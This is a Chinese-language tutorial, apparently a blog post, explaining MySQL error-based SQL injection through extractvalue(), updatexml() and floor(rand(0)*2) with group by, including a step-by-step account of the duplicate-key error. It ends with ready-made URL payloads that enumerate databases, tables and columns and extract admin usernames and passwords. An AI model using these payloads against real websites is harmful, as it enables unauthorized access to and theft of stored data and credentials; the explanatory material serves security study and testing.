MySQL報錯函數注入及原理

報錯注入,顧名思義,利用數據庫報錯來回顯數據的注入方式,但是這種方法有一點侷限性,就是需要源碼中有mysql輸出錯誤的函數把mysql的錯誤回顯到前端,否則就不構成報錯注入了

以下這些報錯函數可能在一些新的版本中已經修復了,這裏的測試環境是:MySQL 5.5.53
MySQL官網歷史版本:https://downloads.mysql.com/archives/community/

Extractvalue()

Extractvalue(目標xml文檔,xml路徑):從目標XML中返回所包含查詢值的字符串
對XML文檔進行查詢的函數,相當於HTML文件中使用的<div><p><a>標籤查找元素一樣
在這裏插入圖片描述

在這裏插入圖片描述
第二個參數XPath_String是報錯的關鍵,XML文檔中查找字符位置是用/xxx/xxx/xxx這種格式,如果我們寫入非法格式的內容就會報錯,並且返回我們寫入的非法格式內容,而這個非法的內容就是我們想要查詢的內容

extractvalue('anything',[查詢語句])

使用concat()能使查詢語句輸出的更加完整
在這裏插入圖片描述
extractvalue()報錯一次只能回顯出32位的數據,如果想要回顯超過32位的數據,需要使用substr(), mid(), left(), right()之類的截斷函數去截斷數據分次輸出
在這裏插入圖片描述
在這裏插入圖片描述

Updatexml()

Updatexml(目標文檔, xml路徑, 更新內容),更新XML文檔
在這裏插入圖片描述
在這裏插入圖片描述
updatexml()的報錯注入姿勢和extractvalue()類似,也是第二個參數位置,輸入非法字符,導致報錯

PS:updatexml()和extractvalue()相同一次只能輸出32位數據,要完整的輸出數據只能使用截斷函數進行截斷分多次輸出
在這裏插入圖片描述

Floor()

關於Floor()報錯的原理可以參考下面這篇文章(寫的很好)
https://www.cnblogs.com/xdans/p/5412468.html

rand():產生一個在0和1之間的隨機數
floor():返回小於等於該值的最大整數
group by:根據一個或多個列對結果集進行分組

Floor()受影響條件:

  1. 所查詢的表中的記錄條數
  2. rand()是否有隨機因子

位置對結果沒有影響

select count(*),(floor(rand(0)*2))x from information_schema.tables group by x;

網上的payload大都是這樣的,用x作爲floor(rand(0)*2)的別名,然後把floor(rand(0)*2)放在count(*)後面,其實放後面也是一樣的

and(select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a)

and(select count(*) from security.users group by concat(database(),floor(rand(0)*2)))
在這裏插入圖片描述
不用and使用union select也行

union select 1,2,3 from(select count(*),concat((select concat(version(),0x3a,database(),0x3a,user())limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a

爲什麼要再一次查詢並使用別名

從報錯看答案
在這裏插入圖片描述
因爲(select count(*),concat(database(),floor(rand(0)*2))x from security.users group by x)這裏查詢結果是,而操作數應該是字段所以我們需要對派生表再一次查詢,而且派生表必須是使用別名代替的

表的數據記錄數對有隨機因子報錯的影響

Test數據庫中有兩張表datausers分別有1,10條數據
在這裏插入圖片描述
在這裏插入圖片描述
由此可見,使用隨機因子的floor()報錯是有條件的,查詢的表中必須有大於等於三條數據的內容

隨機因子有決定權rand()和rand(0)

上面已經證明了使用隨機因子floor()報錯的條件有確定性,查詢的表中大於三條數據

而當沒有加入隨即因子,當查詢數據表存在大於等於2條數據時,就可能產生報錯
在這裏插入圖片描述
由此可見報錯和隨機因子是有關聯的

不確定性與確定性

從下面的實驗中可以得出,floor(rand(0)*2)加入了隨機因子,就有了某方面的確定性
我們同時使用floor(rand()*2)floor(rand(0)*2)查詢test.users表,對比結果
在這裏插入圖片描述
看起來毫無規律,接着看加入隨機因子的
在這裏插入圖片描述
三次結果都一樣,可以看到floor(rand(0)*2)是有規律的,而且是固定的,這個就是上面提到的由於是確定性才導致的報錯

count與group by的虛擬表

使用group bycount()統計出users表中,password的重複次數
在這裏插入圖片描述
在同時使用count(*)group by時,mysql會建立一張虛擬表,工作流程如下圖所示

  1. 建立虛擬表,Key是主鍵,不可重複
    在這裏插入圖片描述
    在這裏插入圖片描述

由此看到 如果key存在的話就+1, 不存在的話就新建一個key

floor(rand(0)*2)報錯

根據mysql官方給出的文檔,rand()在查詢的時候會被計算多次,就是在使用group by的時候,floor(rand(0)*2)會被執行一次,如果虛表不存在記錄,插入虛表的時候會再被執行一次,我們來看下floor(rand(0)*2)報錯的過程就知道了,從前面我們可以知道,在一次多記錄的查詢過程中floor(rand(0)*2)的值是定性的,爲011011…(記住這個順序很重要),報錯實際上就是floor(rand(0)*2)被計算多次導致的,具體看看select count(*) from users group by floor(rand(0)*2);的查詢過程:

  1. 查詢前默認會建立空虛擬表如下圖:
    在這裏插入圖片描述

  2. 取第一條記錄,執行floor(rand(0)*2),發現結果爲0(第一次計算),查詢虛擬表,發現0的鍵值不存在,則floor(rand(0)*2)會被再計算一次,結果爲1(第二次計算),插入虛表,這時第一條記錄查詢完畢,如下圖:
    在這裏插入圖片描述

  3. 查詢第二條記錄,再次計算floor(rand(0)*2),發現結果爲1(第三次計算),查詢虛表,發現1的鍵值存在,所以floor(rand(0)*2)不會被計算第二次,直接count(*)加1,第二條記錄查詢完畢,結果如下:
    在這裏插入圖片描述

  4. 查詢第三條記錄,再次計算floor(rand(0)*2),發現結果爲0(第4次計算),查詢虛表,發現鍵值沒有0,則數據庫嘗試插入一條新的數據,在插入數據時floor(rand(0)*2)被再次計算,作爲虛表的主鍵,其值爲1(第5次計算),然而1這個主鍵已經存在於虛擬表中,而新計算的值也爲1(主鍵鍵值必須唯一),所以插入的時候就直接報錯了。

  5. 整個查詢過程floor(rand(0)*2)被計算了5次,查詢原數據表3次,所以這就是爲什麼數據表中需要3條數據,使用該語句纔會報錯的原因。

floor(rand()*2)報錯

從上文可以得出,由於沒加入隨機因子,所以floor(rand()*2)是不可測的,因此在兩條數據的時候,只要出現下面情況,即可報錯,如下圖:
在這裏插入圖片描述
最重要的是前面幾條記錄查詢後不能讓虛表存在0,1鍵值,如果存在了,那無論多少條記錄,也都沒辦法報錯,因爲floor(rand()*2)不會再被計算做爲虛表的鍵值,這也就是爲什麼不加隨機因子有時候會報錯,有時候不會報錯的原因。如圖:
在這裏插入圖片描述
當前面記錄讓虛表長成這樣子後,由於不管查詢多少條記錄,floor(rand()*2)的值在虛表中都能找到,所以不會被再次計算,只是簡單的增加count(*)字段的數量,所以不會報錯,比如floor(rand(1)*2),如圖:
在這裏插入圖片描述
在前兩條記錄查詢後,虛擬表已經存在0和1兩個鍵值了,所以後面再怎麼弄還是不會報錯。
總之報錯需要count(*)rand()group by,三者缺一不可

floor()報錯的一些payload供參考

and(select 1 from (select count(*) ,concat(database(),floor(rand(0)*2))x from security.users group by x)a)

and(select count(*) from security.users group by concat(database(),floor(rand(0)*2)))

union select 1,2,3 from(select count(*),concat((select concat(version(),0x3a,database(),0x3a,user())limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

爆數據庫:
?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

爆表:
?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

爆字段:
?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

爆內容:
?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

Exp()

沒有找到復現環境,試了,MySQL 5.5.53MySQL 5.5.50兩個版本都不行,可能還需要更低的版本吧,我懶的去一個個版本下載測試,這個就不測試了。

日後碰到其他的再更新上來

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章